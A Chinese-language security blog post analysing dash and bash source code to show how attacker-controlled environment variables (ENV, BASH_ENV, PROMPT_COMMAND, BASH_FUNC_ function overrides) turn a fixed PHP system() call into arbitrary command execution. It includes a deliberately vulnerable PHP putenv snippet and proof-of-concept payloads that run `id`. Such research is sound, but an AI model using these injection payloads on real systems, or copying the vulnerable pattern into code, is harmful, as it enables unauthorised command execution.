这篇文章只是对p牛的 我是如何利用环境变量注入执行任意命令 这篇文章进行总结
环境变量注入条件:用户可以控制环境变量,有执行命令的点但命令不可控
例子:
1 2 3 4 5 6 7 <?php foreach ($_REQUEST ['envs' ] as $key => $val ) { putenv ("{$key} ={$val} " ); }system ('echo hello' );?>
其中PHP的system调用的是系统的popen(),而popen()最终执行的是sh -c "echo hello"
sh通常只是一个软连接。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。
dash dash源码
ENV main函数有关环境变量的代码:
1 2 3 4 5 6 7 8 9 10 if (#ifndef linux getuid() == geteuid() && getgid() == getegid() &&#endif iflag ) { if ((shinit = lookupvar("ENV" )) != NULL && *shinit != '\0' ) { read_profile(shinit); } }
可以看到代码会先判断iflag
的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #define iflag optlist[3] const char optletters[NOPTS] = { 'e' , 'f' , 'I' , 'i' , 'm' , 'n' , 's' , 'x' , 'v' , 'V' , 'E' , 'C' , 'a' , 'b' , 'u' , 0 , 0 , }; options(int cmdline) { char *p; int val; int c; int login = 0 ; if (cmdline) minusc = NULL ; while ((p = *argptr) != NULL ) { argptr++; if ((c = *p++) == '-' ) { val = 1 ; } else if (c == '+' ) { val = 0 ; } else { argptr--; break ; } while ((c = *p++) != '\0' ) { if (c == 'c' && cmdline) { minusc = p; } else if (c == 'l' && cmdline) { login = 1 ; } else if (c == 'o' ) { minus_o(*argptr, val); if (*argptr) argptr++; } else { setoption(c, val); } } } return login; } setoption(int flag, int val) { int i; for (i = 0 ; i < NOPTS; i++) if (optletters[i] == flag) { optlist[i] = val; if (val) { if (flag == 'V' ) Eflag = 0 ; else if (flag == 'E' ) Vflag = 0 ; } return ; } sh_error("Illegal option -%c" , flag); }
通过以上代码可以知道setoption
函数会解析传入的参数,当传入了-i
时,iflag
就为1
了
结论:所以在dash中需要传入-i
参数才能执行read_profile(shinit)
,解析ENV
变量。但在php的system
函数中不能使用
1 ENV='$(id 1>&2)' dash -i -c 'echo hello'
PS1、PS4 PS1、PS2、PS4这三个环境变量也会被expandstr函数解析
但是PS1有限制,需要进入交互式shell中才能执行
PS4则只能解析变量,无法执行命令
bash bash源码
BASH_ENV 在bash中有个和ENV类似的变量:BASH_ENV
直接那上面的payload改:BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
可以发现不需要-i也能执行了
分析这段代码
1 2 3 4 5 6 7 8 9 10 11 if (interactive_shell == 0 && !(su_shell && login_shell)) { if (posixly_correct == 0 && act_like_sh == 0 && privileged_mode == 0 && sourced_env++ == 0 ) execute_env_file (get_string_value ("BASH_ENV" )); return ; }
从注释中可以看到,当使用sh时,act_like_sh
的值会为1,就不会解析BASH_ENV了
1 2 3 4 if (shell_name[0 ] == 's' && shell_name[1 ] == 'h' && shell_name[2 ] == '\0' ) act_like_sh++;if (shell_name[0 ] == 's' && shell_name[1 ] == 'u' && shell_name[2 ] == '\0' ) su_shell++;
所以只能在bash -c的情况下使用
ENV PS1 PROMPT_COMMAND 与dash同样,ENV PS1也能使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if (act_like_sh == 0 && no_rc == 0 ) {#ifdef SYS_BASHRC # if defined (__OPENNT) maybe_execute_file (_prefixInstallPath(SYS_BASHRC, NULL , 0 ), 1 );# else maybe_execute_file (SYS_BASHRC, 1 );# endif #endif maybe_execute_file (bashrc_file, 1 ); } else if (act_like_sh && privileged_mode == 0 && sourced_env++ == 0 ) execute_env_file (get_string_value ("ENV" )); } else { if (interactive_shell && privileged_mode == 0 && sourced_env++ == 0 ) execute_env_file (get_string_value ("ENV" )); }
不过必须是通过sh调用,而不是直接使用bash
ENV='$(id 1>&2)' sh -i -c "echo hello"
PS1用法一样。在bash中还有一个变量PROMPT_COMMAND
,设置了这个环境变量后,进入交互式模式前,会执行这个变量里包含的命令
PROMPT_COMMAND='id' bash
BASH_FUNC_xxx%% variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量
1 2 3 4 #define BASHFUNC_PREFIX "BASH_FUNC_" #define BASHFUNC_PREFLEN 10 #define BASHFUNC_SUFFIX "%%" #define BASHFUNC_SUFFLEN 2
1 2 3 4 5 privmode == 0 ,即不能传入-p参数 read_but_dont_execute == 0 ,即不能传入-n参数 STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10 个字符等于BASH_FUNC_ STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%% STREQN ("() {" , string , 4 ),环境变量的值前4 个字符等于() {
其实就是根据环境变量的值初始化一个匿名函数,并赋予其名字
例如env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
再将变量名改成system中执行的函数名,就能实现覆盖
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
但是设置BASH_FUNC_myfunc%%
的方法并不完美,因为BASH_FUNC_
是在Bash 4.4下引入的,centos 7的bash版本默认为Bash 4.2
Bash 4.2的补丁
可以看到在4.2下的BASHFUNC_SUFFIX是()
,而不是%%
更改payload:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
解决了文章开头提出的问题
总结
dash
bash
条件
ENV
√
√
sh或者dash下额外的 -i -c 参数
PS1
√
√
交互环境下
BASH_ENV
×
√
可以在 bash -c 时注入任意命令 sh -c 下无效
PROMPT_COMMAND
×
√
交互环境下
BASH_FUNC_xxx%%
√
4.4及以上 √
无
BASH_FUNC_xxx()
√
4.4以前 √
无
shellshock
√
√
存在shellshock漏洞